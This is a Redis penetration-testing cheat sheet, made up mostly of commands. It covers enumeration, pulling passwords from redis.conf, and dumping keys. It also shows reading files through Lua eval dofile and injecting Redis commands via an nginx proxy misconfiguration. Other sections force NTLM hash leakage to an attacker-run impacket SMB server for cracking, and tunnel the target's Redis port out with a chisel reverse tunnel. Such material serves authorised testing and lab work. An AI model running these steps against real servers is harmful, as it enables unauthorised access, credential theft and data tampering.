Redis Pentesting

Redis is the In-Memory NoSQL Database. A default port is 6379.

Enumeration

nmap --script redis-info -p 6379 <target-ip>
nmap --script redis-brute -p 6379 <target-ip>

msf> use auxiliary/scanner/redis/redis_server

Check Config File

If we have access to target system, find the configuration file then we may be able to get passwords.

find / -name "redis.conf" 2>/dev/null
grep -i pass /path/to/redis.conf

If we get the line with password written as below,

requirepass "password"

We can set the password in a redis client.

> auth "password"

Connect

redis-cli -h <target-ip> -p 6379
# with password
redis-cli -h <target-ip> -p 6379 -a password

# using socket
redis-cli -s /path/to/redis.sock

After connecting and execute the first arbitrary command, we may got the following output.

NOAUTH Authentication required.

If so, we need to authenticate to communicate with the redis server.

> auth <password>
# or
> auth default <password>
# or
> auth <username> <password>

Commands (Non-RESP Format)

Non-RESP (REdis Serialization Protocol) is such like the other protocol's command. Commands are separated with spaces.

Investigation

# Check credentials
> auth <username> <password>
> auth default <password>

# Set a password temporary until the service restarts.
> config set requirepass <password>

# Information on the Redis server
> info
> info keyspace

# List all
> config get *

# List all databases
> config get databases

# Select the database ('select <index>')
> select 0
> select 1
> select 12

# Read files and directories using Lua scripts
> eval "dofile('C:\\\\Users\\\\Administrator\\\\Desktop\\\\user.txt')" 0
> eval "dofile('C:\\\\Users\\\\<username>\\\\Desktop\\\\user.txt')" 0

# Find all keys
> keys *

Get Key Value

# Get the type of value
> type <key_name>

# Get all fields and values of the hash stored at key.
> hgetall <key>
# e.g.
> hgetall admin

# Get a string value
> get <key> <field>
# e.g.
> get admin email

# Get a hashed value
> hget <key> <field>
# e.g.
> hget admin password

# Get multiple hashed values associated with specified fields
> hmget <key> <field1> <field2>
# e.g.
> hmget admin email password


# type: lists
> lrange <key_name> <start> <stop>
# e.g.
> lrange "userlist" 0 0
> lrange "userlist" 0 5

# type: sets
> smembers <key_name>

# type: sorted sets
> zrangebyscore <key_name> <min> <max>

# type: stream
> xread count <count> streams <key_name> <id>

Set Key Value

# Set a hashed value in a field
> set <key> <field> <value>
# e.g.
> set admin email [e-mail]

# Set a hashed value in a field
> hset <key> <field> <value>
# e.g.
> hset admin password 286755fad04869ca523320acce0dc6a4

Insert Values

> lpush <key> <element>
> lpush <key> <element> <element>
> lpush <key> <element> <element> <element>
# e.g.
> lpush myword "abracadabra"

Commands (RESP Format)

RESP (REdis Serialization Protocol) is The syntax is…

• *<num> The number of arguments.

• $<num> The string length of the argument.

Below is the command same as set name "john".

telnet 10.0.0.1 6379
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.

*3
$3
set
$4
name
$4
john

GET/SET Key Value Commands with Nginx Misconfiguration

location ~ /(.*)/(.*) {
    resolver 127.0.0.1; proxy_pass http://example.com/$1;
}

We can connect to redis socket using curl command.

# HSET <key> <field> <value>
curl -X "HSET" https://example.com/unix:/path/to/redis.sock:<key>%20<field>%20<value>%20/abc

NTLM Hash Disclosure

In local machine, start SMB server.

mkdir share
sudo impacket-smbserver share ./share/ -smb2support

Now execute the following command in Redis client.

> eval "dofile('//10.0.0.1/share')" 0

We might get a NTLM hash in the incoming connection to the SMB server. We can see the SMB server logs in terminal. If the NTLM hash found, crack it.

Port Forwarding Redis Server to Local Machine

In local machine,

chisel server -p 9001 --reverse

In target machine,

./chisel client <local-ip>:9001 R:6379:127.0.0.1:6379